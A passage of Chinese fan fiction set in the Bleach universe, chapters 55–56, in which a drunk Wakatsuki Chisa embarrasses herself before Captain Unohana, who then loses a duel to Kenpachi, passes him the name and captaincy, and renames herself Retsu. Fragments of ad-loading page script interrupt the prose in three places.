在这附近,也留下了半圆形的印记吧。不过,随着时间的推移,它会越来越深、越来越深,直至和旁边的肤色融为一体,再也看不出分界线。 更木剑八被她笑得莫名其妙,低头去看她指的位置,却看不出个所以然来——他的下巴挡住了他的视线,藏起了他的脖子。 “这里这里。”若月千纱点了点自己的脖子,“看,那对项圈还在呢。” 更木剑八瞅了瞅她脖子上的颜色浅淡的环状痕迹,摸了摸自己的脖子,心中那股难言的情绪莫名消退了一些。 “啊,突然感觉好困。剑八,我去睡个回笼觉喽,再见~” 若月千纱做完想做的事后,打了几个大大的呵欠,伸了伸懒腰,向更木剑八摆了摆手,慢悠悠地走向自己房间。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 更木剑八看着她离去的背影,歪了歪脑袋,也离开了。 四截项圈孤零零地躺在地上,无人问津。 过了一会儿,一双手把它们拾起。 “抱歉,忘记把你们带走啦。” 去而又返的若月千纱捡起四截项圈,将它们放进房间的抽屉里。 断裂的黑色项圈不再具备原有的功能,断绝了她反悔的后路,已和垃圾无异。但是,它们是朋友送的珍贵礼物。 “再怎么说,也不该这样对待别人的心意。得给柴田送一份赔礼啦。” 一段时日后,柴田木原收到一份意外的礼物。 他拿着烫手的精美礼物,眼神游移:“那个,为什么突然送我礼物?我的生日又不在今天。难道你……咳咳?” “够了,收起你那恶心人的拙劣表演。你偷偷往我脖子上瞄了多少眼了,当我没发现吗?” “阿拉,被你发现了。这是对你上次不听完话就溜走的惩罚。”柴田木原坏笑了一下,指着她的脖子,“放手了?” “放手了。” “哟,终于醒悟了啊,榆木脑袋。” “是啊,榆木脑袋也有开窍的一日呢。和实力无关,和血缘无关,和距离无关,剑八永远是我的弟弟。孩子长大了就该放他自由,我不会再固执地把他绑在身边。” “你也长大了啊。” “毕竟我是十八岁的成年人了嘛。” “……你的十八岁好漫长喔。” 聊了一会儿后,若月千纱发现他们严重跑题,拉回话题:“那个是赔礼啦,赔礼。” “咦?竟然是赔礼?你是在为上次的事情致歉吗?……那个,我刚才的惩罚……?” “没错,你做错了!”若月千纱煞有介事地点了点头,“不过,送你赔礼不是为了那件小事,而是因为我把你送我的礼物弄坏了。至于你点醒我的谢礼,我还不知道该准备什么呢。” “看样子我做的是对的。”柴田木原一脸无语,“礼物都送给你了,你想怎么处置是你的自由,赔什么礼?谢礼的话,我只是随便和你聊了几句……不对,为了敲醒你这块榆木疙瘩,我花了不少心思。这份礼物,我就当做谢礼收下了!” “收吧收吧,本来就是给你的。”若月千纱了然一笑,小声嘟嚷了一句,“嘴硬的家伙。” “你在说什么?大声点,听不见。” “没什么,你听错了。” “真的吗?你不是在骂我吧?” “骂你需要压低声音吗?” “……可恶,竟然反驳不了。” “嘿嘿。” “算了,这不是重点。若月,这次不许偷跑,好好听我把话说完。” 柴田木原向若月千纱全方位科普了一番十一番队队长的“丰功伟绩”。 “啊啊,相同的话题你要说多少遍啊,我都耳朵长茧了。不用你再三重复,我早就知道队长是个帅气的小姐姐了!” “……帅气?错了吧。‘疯狂’或者‘狂傲’之类的词汇感觉比较适合她。”柴田木原说到这里,小心翼翼地左顾右盼了一番,凑近若月千纱,右手搭在嘴巴边上,半捂着嘴,压低声音,“还有,你的称呼错了,她才不是‘小姐姐’。她是我们的老前辈,真央灵术院的历史可能都没她的年纪大。” 话音刚落,就见若月千纱的身体猛的一抖,震惊地冲前方喊道:“啊,队长!?” 柴田木原身体一僵,不敢抬眼,利索地朝那个方向来了个土下座:“对不起,卯之花队长,我错了,请您原谅我……啊,若月你骗我!混蛋!” “噗——咳咳,感谢你真实的身体反应,我现在充分了解了队长的可怕。你放心,日后见到队长,我一定会谨言慎行的!” 没过几年,信誓旦旦说要“谨言慎行”的若月千纱以最糟糕的方式见到了她的队长。 55.第五十五章 自若月千纱扯断黑色项圈后,她放飞了自我。 在醒悟到自己的生活中只有战斗和酒后,她参照脑海中不知来源的奇怪记忆,把一些小游戏复刻到现实中,开启了更加丰富多彩的娱乐生活。 遗憾的是,更木剑八对她的小游戏丝毫不感兴趣,依然深陷于战斗中不可自拔,击碎了她想让他享受生活的野心。 更木剑八对这些小游戏不屑一顾,但是,其他人未必如此。 十一番队内禁止赌博,队员们的生活极其贫乏。尚未出现在这个世界上的新颖小游戏一出世,就受到队员们的一致好评。这些小游戏既有趣,又能增进队友们的感情,不仅在十一番队里盛行起来,还悄悄地流传到各个番队里。 这一日休假日,十一番队的队员们便三五成群聚在一起玩游戏。 若月千纱和嗜好饮酒的队友们一边饮酒,一边玩“真心话大冒险”游戏。 她眼力强,手速快,酒量好,玩这个游戏时可谓战无不胜。她的队友们要么被她灌倒,要么被她掏出了好几个黑历史,她却没有一次失态过。 正所谓常在河边走,哪能不湿鞋。 赢的次数一多,她的队友们沆瀣一气,齐心协力对付她,誓要把她灌醉,从她嘴里掏出黑历史来。 就算若月千纱号称酒神,也敌不过那么多人轮番灌酒,喝了个烂醉如泥。 队友们摩拳擦掌,向她提出一个又一个问题。 “你做过的最丢人的事是什么?” “你做出的什么事情最令你尴尬?” “这些年来,最让你难为情的事情是什么?” 若月千纱守住最后一丝灵台清明,都选择了“大冒险”。 从原地后空翻50次到双指倒立行走一圈,若月千纱全做了一遍。 一群醉鬼们越喝越上头,越玩越失控,“大冒险”的内容逐渐走偏。 若月千纱欣赏了一波队友们十指相扣变成握力比试、互相拥抱变成死亡拥抱的和谐画面后,自己也中了招。 “把除我以外的某个人用公主抱的方式抱起来一会儿!” “好!” 若月千纱话音一落,周围的人瞬间跑远,包括周围看戏的和玩其他游戏的队友们。 此时不跑,难道要等着被看上去娇娇弱弱的女孩子公主抱吗?他们丢不起这个脸! “快跑!” “你去找副队长啊!” “啊啊啊,为什么追着我跑,都说是除我之外的人了!” “哈哈哈,你活该!” “别过来!” 醉醺醺的若月千纱满院子追着队友们跑,所到之处鸡飞狗跳。 就在这时,有人推开了大门,走了进来。 那是一个看起来温温柔柔的美人,披散着中分鸦羽长发,内穿黑色死霸装,腰间的浅色腰带上系着红色束绳,外披白色羽织,如同画卷上走出的大和抚子。 温香暖玉的美人在前,若月千纱眼中哪里还有那群五大三粗的队友们? “漂亮小姐姐!” 她眼睛一亮,一个瞬步过去。 “别——” “住手!” 队友们看出若月千纱的心思,奈何被突然出现的人吓了一跳,出声太晚,已被她得了手。 只见她不由分说就把美人公主抱起来,完成了自己的“大冒险”。不仅如此,她还侧过脸,跟蹭猫似的,蹭了蹭美人柔嫩的脸蛋。 看着窝在若月千纱怀里的美人儿,十一番队的队员们整个人都快裂开了,噤若寒蝉。 喝醉了的队员们瞬间醒了酒,迅速和其他队员们集合,整整齐齐地站成几排,朝美人深深地鞠躬敬礼:“欢迎队长归队!” “啊咧?” 队长?那个超可怕的帅气小姐姐?在哪? 若月千纱努力转动浑浑噩噩的大脑,左顾右盼一番后,缓缓地低下脑袋。 “我回来了。”怀里的美人温温柔柔地冲她微笑,“你是新来的队员?” 若月千纱脑子一懵,手一松。 卯之花从她的怀里掉了下去。 十一番队队员们整齐地“嘶”了一声。 若月千纱身体快过大脑,右手一捞一拉,把卯之花拉进自己怀里,抱住。 “嘶——” 在这一小会儿时间内,在队友们的面前,她创造了近几年来最令她尴尬的黑历史。 若月千纱的脑袋彻底宕机。 她不知道后来自己说了些什么、做了些什么。总之,等她清醒时,她正躺在自个儿床上。 看窗外太阳的位置,时间至少过去了几刻钟。 “……做人不能立flag啊。说什么谨慎小心,第一印象太糟糕了吧。在队长眼里,我大概是个胡作非为的大酒鬼。” 她甚至把闲时也在对练比试的队友们带坏成一群只会玩的咸鱼和只会喝酒的醉鬼。 队长外出进修,千里迢迢赶回来,推开门后,却发现自家只懂得战斗的下属们变成一群酒囊饭袋,大白天的在满院子嬉戏打闹,不知会是一种怎样的心情? “不不不,这叫劳逸结合。我们每天都有花不少时间训练,她只是恰巧在我们的娱乐时间回来,看到了大家不成器的样子。” 她没有说谎,真的! “十一番队队长是尸魂界史上空前绝后的大恶人!” 柴田木原的话在她脑海里转啊转啊转。 “……她愿意听我解释吗?不对,现在哪有解释的余裕。做出昨天那等失礼的事情,我还是先负荆请罪比较好吧?” 去晚了,会不会被她笑眯眯地砍手断腿啊? 事不宜迟! ……虽然时间好像过去很久了,但事不宜迟! 若月千纱翻身下床,一口气喝下床边的解酒汤,迅速洗漱了一番,冲去身上的酒味,抓起浅打,急急忙忙冲出房间。 之前乱成一团的院子里安安静静,空无一人,不似平常。 今日没任务,人都上哪儿去了? 若月千纱在队舍里找了一通,愣是没看到一个人影,包括更木剑八。 她心中漫上一丝不祥的预感,扭头跑向训练场。 隔着训练场老远,她就听到从里面传出的嘈杂声。 不会有错,消失的队友们全在里面! 喂喂喂,剑八,你不会又…… 不,绝对是你。告诉你队长实力强大特别危险,反倒激起了你更强的战斗欲吧? 我知道,你不可能放过和强者对战的机会。而队长,肯定也想评估一下陌生的副队长的实力。你和队长之间,必有一战。 但是,你好歹要等我在场再挑战队长啊! 这种等级的精彩战斗,怎能错过? 若月千纱将瞬步发挥到极致,一眨眼便进入了训练场。 幸运的是,战斗并没有结束。 只见无数穿着死霸装的十一番队队员们围坐在偌大的训练场上,一眼不眨地看着飞沙走石的场地中央,完全没有留意到若月千纱的到来。 透过漫天飞尘,若月千纱看到一高一低两道高速移动的身影。 她没空寻找旁观的好位置,随意找了处空地落脚,视线不曾离开过场地中间。 激烈的刀剑交锋声连绵不断,两道身影不停地分分合合。 若月千纱努力瞪大眼睛。 看不清楚。 两人的动作太快,凭她的眼力,压根看不清他们的交手细节。 有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没有人负伤?是谁更胜一筹?她一概不知。 何止是看不清。 场上盘踞着两道气息不同却平分秋色的恐怖灵压,它们相互撞击、缠绕、吞噬着对方,震荡起强烈的余波,不留情地扩散向四周。 若月千纱在四散的恐怖灵压中强撑了一阵子,脸色发白,双腿发软,最终一屁股坐在了地上。 在这一秒,她明白了队友们坐着观战的原因。 “这等威压……队长级?剑八他……” 在不知不觉中,她家弟弟俨然成长为尸魂界实力金字塔的最尖端。 若月千纱的内心滋生出一股强烈的自豪感。 纵然看不清眼前的对战,若月千纱依然舍不得眨眼,生怕错过任何一个画面。 蓦地,两道人影分开,站定。 若月千纱定睛看去。 第一眼,她看向了更木剑八。 他的脸上洋溢着从所未见的幸福感,双眼熠熠生辉。虽形容狼狈,但他全身上下却看不到一丝血迹。 他没事。 若月千纱心里一松,看向他对面的人。 这一眼过去,她身体后仰,瞳孔剧烈震动:“这谁呀!?” 分明是同一张脸,同样的相貌,记忆中的美人却散发着和之前截然不同的气势,活像血池里爬出来的恶鬼,周身仿佛弥漫着一股散不去的血腥味。 温柔的大和抚子变身为凶神恶煞的罗刹鬼了! 只一眼,她便明白柴田木原为何如此忌惮恐惧此人,并多次提醒于她。 不过—— “她的羽织上有刀痕?” 难道,面对这样的卯之花,剑八竟隐约占了上风? 若月千纱心跳失衡,满脸的不敢置信——剑八的成长速度,真的大大超出她的预期! 卯之花看着对面身高只到她肩膀的孩子,一脸的愉悦和赞许:“你叫什么名字?” “更木剑八。你很强,是我遇到过的最强的对手。”更木剑八直视卯之花的双眼,第一次主动开口问对手的名字,“你的名字呢?” “卯之花八千流,名号,剑八。”卯之花收起笑意,神色端肃,“剑八是尸魂界剑术最强的死神的名号,一个时代仅能有一名剑八。不会剑术的剑八,让我们比比看,谁才配得上‘剑八’这两个字!输的人日后不准自称‘剑八’!” “剑八是我的名字!来厮杀吧!一决胜负!” “正合我意。让我们全力厮杀吧!”卯之花露出狂傲的笑容,扬起手中的斩魄刀,刀尖直指更木剑八的心脏,“卍解·皆尽。” 卯之花的斩魄刀上以及半空中凭空淌出大量的血液。那血液越渗越多,将两人包围在血色之中,阻断了其他人的视线。 “卍解!?那个号称斩魄刀最高奥义的杀手锏!?不行!剑八!” 若月千纱顿时色变,努力挣脱周围越来越强的威压,冲向那道散发着不祥气息的血墙。 “不好,血液流过来了!我们距离他们太近了,大家快撤!” “队长动真格了!快走!” “千万别被卷进他们的战斗!” “若月,你不要命了?快停下来!副队长不会有事,队长会回道!” “大家一起把若月拉走!” 众人一哄而上,将若月千纱制伏带走。 “放开我!可恶!唔——唔唔唔——” 若月千纱被人五花大绑,在“再乱动就要把你打晕”的威胁下,被迫安静下来,和队友们一起从远处眺望训练场。 训练场上的血墙不停地流动着血液,遮蔽住两人的身影,让人看不清也不听见其内究竟发生了什么。 许久,血墙渐渐地消散在空中,露出模糊的两道人影。 56.第五十六章 “唔唔——唔唔唔——” “我们马上给你解绑……啊,你急什么啊,手都受伤了!” 若月千纱来不及等他们彻底松绑,双手用力一挣,把半松的钢丝挣断,弯下腰扯断脚上的束缚,争分夺秒地奔向训练场。 卯之花和更木剑八好端端地站在训练场上。除了各自的衣裳上添了无数刀痕,两人皆毫发无伤,一脸战了个尽兴的餍足表情。 若月千纱脚步一顿。 什么情况? “我输了,你比我强。除了你,没有人有资格冠上‘剑八’之名。从今日起,我不会再自称‘剑八’。”卯之花已收起慑人的气势,神情既惆怅又愉悦,“剑八,你有个好名字。你是名副其实的剑八。” “这是千纱给我取的名字。” “千纱?那是谁?” “千纱就是千纱。” 更木剑八转头看向走近他们的若月千纱。 “你就是千纱?”卯之花讶异地看着实力平平的少女,上下打量了她几眼,又瞥了眼更木剑八,忽地一笑,“你为他取了个好名字。” 若月千纱不由得瞥了眼身旁的蓝紫色蝴蝶:“……这是巧合。” 卯之花语气肯定:“不,这是命运。” 命运吗? ——或许真是这样吧。 若月千纱又瞥了眼蓝紫色蝴蝶,目光扫过卯之花褴褛的衣裳,看到几抹雪色,立即脱下死霸装,轻轻地披在她肩上。 卯之花温婉一笑,穿上衣服:“谢谢。” 若月千纱从她脸上看出“果然还是女孩子细心”的未说出口的话,视线一飘:“不用谢,作为下属,这是我该做的事。” 惭愧啊惭愧,在遇到京乐春水之前,她从未在意过这方面的小事。说实话,在流魂街80区,她见过太多回归自然状态的女子,不论死活。在那之后,她遇到的对手中也不乏女子,在战斗时不曾有所顾忌。不过是衣服破洞的那点芝麻小事,谁在乎呢? 都是京乐春水时常念叨要温柔对待女性,她耳濡目染之下,才会不自觉做出这般看似温柔的举动。 “下属吗?”卯之花垂下眼睑,眼珠子微微一动,掀开眼皮,环视周围一圈。 向四面八方逃开的十一番队队员们已经有一部分回到训练场上,剩下的也即将抵达。 卯之花提高声音:“十一番队听着!剑八……更木剑八战胜了我,继承了我的位置。这是队规!从今往后,他才是十一番队的队长!” “什么——?” “那队长,不,卯之花大人呢?” “您会继续留在队里,当我们的副队长吧?” 十一番队队员们期盼地看着她。 卯之花创立了十一番队,是他们的初代队长。她实力强大,是不败的象征。她一直是他们憧憬的榜样,他们非常仰慕她。即便她在他们面前落败,也没有动摇他们对她的崇拜。 她定下的队规,他们会遵守,他们认更木剑八为新队长。但是,他们希望,他们的队长哪怕不再是队长,也会继续和他们并肩作战。 “不,我会从十一番队卸任,转到别的番队去。”卯之花凝视着更木剑八,微微一笑,“谢谢你,剑八。在和你的战斗中,我享受到了淋漓尽致的快乐。日后,不会有任何一场战斗比今日更令我愉悦。我很满足。一个时代不该有两个剑八,因此,我会放下剑,以别的姿态活下去。” 世事难料。 为了永远地享受战斗,她学会了回道。然而,学会回道后,她却遇见了比她更强的剑八。 在她的卍解领域中,她一次又一次治愈彼此,一次又一次与他交锋,享受到了极致的战斗。 ——遇到更木剑八,把剑八的名号传承给他,一定是她的使命。 将剑八的名号交给他后,她无法再为自己而挥剑了。这是她作为前任剑八的无可避免的宿命。 “为什么?就算不是剑八,卯之花大人也能继续战斗啊!” “卯之花大人,留下来吧!” “不许走!”更木剑八紧紧地盯着卯之花的眼睛,“八千流,你是我遇到过最强大的对手,我今天和你战斗得很痛快!我要再和你战斗!” “你是我认可的对手,你能这么说,我很开心。不过,我不会再和你对战,离开这里是我的宿命。” 更木剑八不理解:“为什么?你不是也很享受战斗吗?” 卯之花只是笑了笑:“我有我的信念,你不必理解。” 她铁了心想要走,谁能拦得住她呢? 至少,十一番队不可以,更木剑八也拗不过她。 她的决心,无比坚定。 “对了。”在临走之前,卯之花宣布道,“我自翎掌握了天下所有的流派和刀流,为自己取名为‘八千流’。这个名字,我将一并舍弃。从今日起,我改名为——卯之花烈。” “诸位,日后再见。” 她最后看了一眼更木剑八,头也不回地走向门口。 “等等——” 若月千纱叫住了卯之花烈。 卯之花烈脚下一顿,回过头来:“阿拉,不好意思,忘记把你的衣服还给你了。” 她伸手扯向肩上的衣服。 “不不不,我不是那个意思!您把衣服披好!帅气小姐姐……不对,卯之花大人,我以后能去拜访您么?” 若月千纱星星眼地看着卯之花烈。 柴田果然是胡说八道,什么可怕的老前辈,卯之花大人分明是个帅气的小姐姐,和她预想中的一模一样嘛! 队长超凡的地位和权势,她说不要就不要;“剑八”的超强名号和“八千流”这个意义深刻的名字,她也能说舍弃就舍弃,一点都不拖泥带水。这份傲骨和洒脱,她实在太中意了!不止如此,她的实力也是尸魂界顶尖的! 她宣布,她粉上她了! 卯之花烈看着满脸崇拜的若月千纱,眼睛一弯:“可以,我随时欢迎你。不过,我酒量不好,不能陪你一起喝酒。” 若月千纱想起之前的事情,脸蛋“轰”地一下红了:“我、我、那个,对不起,我不该喝那么多酒,更不该这么放纵自己,带坏队友——” “哎呀,是我的语气有问题吗?我并没有在责怪你。第三席和我汇报过了,你们做任务时都很尽职尽责,平常训练也很积极认真,那样就够了。只要不赌博,空闲时间里,你们想怎么玩都可以,我不反对——现在也轮不到我反对啦。” 她多心了?卯之花烈其实并不介意她的属下在闲时吃喝玩乐、懒散度日? 若月千纱脸上的红晕开始退潮。 “但是。”卯之花烈点了点自己的脸颊,“喝酒得适量 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,喝过头耍酒疯就不应该了。” 潮落潮又起。想起自己之前做的蠢事,若月千纱的脸红成了猪肝色:“对不起昨天我耍流氓了——我以后一定改!” 卯之花烈温柔一笑:“很好。日后,我们可以一起寻找别的兴趣。放下剑之后,我也该修身养性,培养一下新的爱好了。” 若月千纱举手:“如果不嫌弃的话,我随时有空——呃,出任务以外的时间。” “那就拜托你了。你不用对我说敬语,不介意的话,我希望你能直接叫我的新名字。” “真的吗?真的可以吗?哇啊啊,我是第一个叫烈姐姐名字的人,好荣幸哦!烈姐姐!烈姐姐!” 看着眼前这个亲昵地叫她“烈姐姐”的少女,卯之花烈的面容柔软了几分。 她的大半辈子都是在杀戮中度过的。在被山本总队长收入麾下之前,她的面前只有敌人;在成为十一番队队长后,她身边又全是男人——会加入十一番队的大多是战斗狂,除她之外没有第二个女性——她何尝被女孩子这么亲近过? 有人甜甜地叫自己姐姐,感觉挺新鲜的,似乎不赖? 她加深了笑容,应道:“哎。” “好幸福!”若月千纱捧着自己的脸,眼睛弯成了月牙,“烈姐姐也直接叫我千纱吧!” “好的,千纱。” 卯之花烈答应落脚后会和她联系,别过十一番队队员们,施施然走出大门。 若月千纱在门口挥了半天手,直至卯之花烈彻底消失在她视野中,才恋恋不舍地回到院子。 十一番队的队员们和她大眼瞪小眼。 她一头雾水:“怎么这样看我?” “队长……不对,卯之花大人竟然对你这么温柔!” “同为女子,才能得到这种特殊待遇吗?” “好羡慕!” “队长……卯之花大人变温柔了好多!” “学回道会让人变温柔吗?” 若月千纱歪了歪脑袋:“烈姐姐一直很温柔呀?啊,除了战斗的时候。” “……你来得太晚了,没见过卯之花大人以前的模样。” “要是以前,你做出之前那么疯狂的事情,现在已经被扒一层皮下来了吧。不,骨头可能也会被拆下来?” “你很幸运啊,若月!” “不,也有可能是卯之花大人放下剑的缘故吧?” “我们都做好脱一层皮的准备了……” 若月千纱激灵灵打了个冷颤:“你们说得太夸张了,烈姐姐多和善啊。你们看,她都愿意和我这个小人物打交道呢。” “和善?啊……嗯……我确实很敬佩卯之花大人,但这种形容嘛……” “卯之花大人待你这么特别,果然是因为你们都是女子吧!” “……说话要有证据。不如我帮你换个性别,你去试一试,烈姐姐是不是因为我是女子才和我亲近的?” “喂喂喂,有话好好说,快把浅打放下!哇啊啊,你还真砍啊?” “说到就得做到!” 若月千纱和队友们闹了一通,意外频出导致超载的大脑逐渐冷却下来。 说起来,她家剑八好像做了件不得了的事情? ——他谋权篡位成功,成为十一番队的队长啦! 十一番队变天了。